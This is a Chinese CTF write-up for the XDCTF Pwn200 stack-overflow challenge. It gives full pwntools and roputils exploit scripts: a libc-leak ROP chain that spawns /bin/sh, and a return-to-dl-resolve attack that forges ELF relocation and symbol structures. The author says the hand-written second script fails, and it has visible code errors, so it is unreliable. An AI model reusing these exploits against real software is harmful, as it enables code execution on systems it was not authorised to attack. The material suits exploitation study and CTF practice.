XDCTF-Pwn200

一道简单的rop,当然这里是为了练习x86下的return to dl-resolve的fake reloc_arg~

程序分析

检查下没开什么安全措施,只有个最简单的nx:

接着看程序也很简单:


很明显的栈溢出,这里没有给libc.so,但是可以通过内存泄露来获取system地址,当然为了练习写了另一种方法。

方法一:内存泄露

readwrite函数都有,可以循环利用,就是很经典的泄露system再写入sh最后调用它,步骤如下:

  1. 调用main函数循环利用
  2. 泄露出system地址
  3. 写入”/bin/sh”
  4. 调用system获取shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

elf = ELF('/root/Desktop/c14595742a95ebf0944804d8853b834c')

writePlt = elf.plt['write']
readPlt = elf.plt['read']
writable = elf.bss(0x2c) #使用readelf -S 查看bss大小

mainAddr = 0x080484be #以便重复利用
pppt = 0x0804856c # pop pop pop ret

def leak(addr):
p.recvuntil('Welcome to XDCTF2015~!\n')
payload1 = 'a'*112+p32(writePlt)+p32(mainAddr)+p32(1)+p32(addr)+p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info('%s =====> %s'%(addr,(data or '').encode('hex')))
return data

p = process('/root/Desktop/c14595742a95ebf0944804d8853b834c')
dyn = DynELF(leak,elf=elf)

systemAddr = dyn.lookup('system','libc')

payload2 = 'a'*112+p32(readPlt)+p32(pppt)+p32(0)+p32(writable)+p32(8)+p32(systemAddr)+p32(mainAddr)+p32(writable)
p.sendline(payload2)
p.sendline('/bin/sh\0')
p.interactive()

方法二:return to resolve

上一篇已经记录了动态链接的解析过程,这里直接写利用过程吧:

  1. _dl_runtime_resolve在got[2]里面
  2. 它有两个参数,第一个参数linkmap在got[1]里面
  3. 第二个参数是调用时传入的,这里利用时是伪造第二个参数
  4. 在_dl_runtime_resolve内部,使用第二个参数作为索引,第一个参数作为基来查找函数名
  5. plt[0]处是压入第一个参数并且调用解析函数
1
2
3
4
5
6
7
8
//在rel.plt中的地址
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//在dynsym里面的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//一个断言,照着写就没问题了
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//传入了名称字符串
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);

可以看到这里涉及到了三个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//rel.plt
typedef struct elf32_rel {
Elf32_Addr r_offset; //地址,其实是在.got.plt表中
Elf32_Word r_info; //type与index
} Elf32_Rel;
//dynsym
typedef struct elf32_sym{
Elf32_Word st_name; //在.dynstr中的偏移
Elf32_Addr st_value; //符号值,根据类型不同可能是绝对值,地址什么的
Elf32_Word st_size; //符号大小
unsigned char st_info; //28Binding:4Type 绑定指示符号是局部全局弱符号,类型指示符号为对象函数节区文件等
unsigned char st_other; //符号可见性
Elf32_Half st_shndx; //符号所在段下标,或者是特殊常量,如未定义的引用或者未初始化的全局符号等
} Elf32_Sym;
//dynstr这个没什么结构就不写了~

这里的利用方法就是伪造上述结构体,再在调用_dl_runtime_resolve,在其内部将会将要解析的函数名解析为system

  1. 将上述结构体写入bss后面的空闲区域
  2. 压入一个参数a,使.rel.plt + a指向伪造的第一个结构题
  3. 伪造的第一个结构体的r_offset要指向一个可写的地址,r_info的type要为ELF_MACHINE_JMP_SLOT并且index要为一个特定的值,使&dynsym[index]指向第二个结构体
  4. 伪造的第二个结构体的其他值正常点,st_name要为一个特定值,使st_name+dynstr指向伪造的字符串/bin/sh\0

注意:在__libc_start_main内部如果发现存在版本符号将会去去解析它,若是它解析的地址非法程序将会崩溃:

1
2
3
4
5
6
7
8
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)                           //获取动态库版本信息
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL; //`*(*(versym+index*2)&0x7fff <<4 +versionBase + 4)`
}

所以最好将*(versym+index*2)&0x7fff解析为0,方法就是查看.gnu.version偏移index*2周围区域,低4位为0即可。下面是利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

elf = ELF('/root/pwn')
writePlt = elf.plt['write']
readPlt = elf.plt['read']

writeBaseAddr = elf.bss(0x2c) #基址,从这里开始写入伪造数据

pppt = 0x0804856c
relPlt = 0x08048318
dynsym = 0x080481d8
dynstr = 0x08048268
plt0 = 0x08048370

## 构造结构体1
reloc_arg = writable - relPlt
writable += 4*2 #存放第一个结构体
padding = ''
for i in range(0,16):
if (writable+i - dynsym)%(4*4)==0
padding = 'a'*i
writable += i #填充
break

index = (writable-dynsym)/(4*4)
r_info = index<<8+0x7
writable += 4*4 #存放第二个结构体
r_offset = writable
## 构造结构体2
writable +=4 #存放got.plt
st_name = writable - dynstr

payload1 = flat(r_offset,r_info) + padding+flat(st_name,0,0,0x12)+'a'*4+'system\0'+'/bin/sh\0'

payload2 = 'a'*112 + flat(readPlt,pppt,0,elf.bss(0x2c),len(payload2),plt0,reloc_arg,)

p.sendline(payload2)
p.sendline(payload1)

p.interactive() #失败了对吧。。。。的确,index有点问题,修改一下就好了,找这个错误弄了半天,实在不想再改了

于是,就直接使用roputils工具几秒钟构造一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import roputils

fpath = '/root/pwn'
offset = 112

rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = roputils.Proc(rop.fpath)
p.write(roputils.p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

结果当然是成功呀:

参考

其实我知道你们看不懂我写的什么鬼,附上几个链接
http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
http://www.evil0x.com/posts/19226.html
……………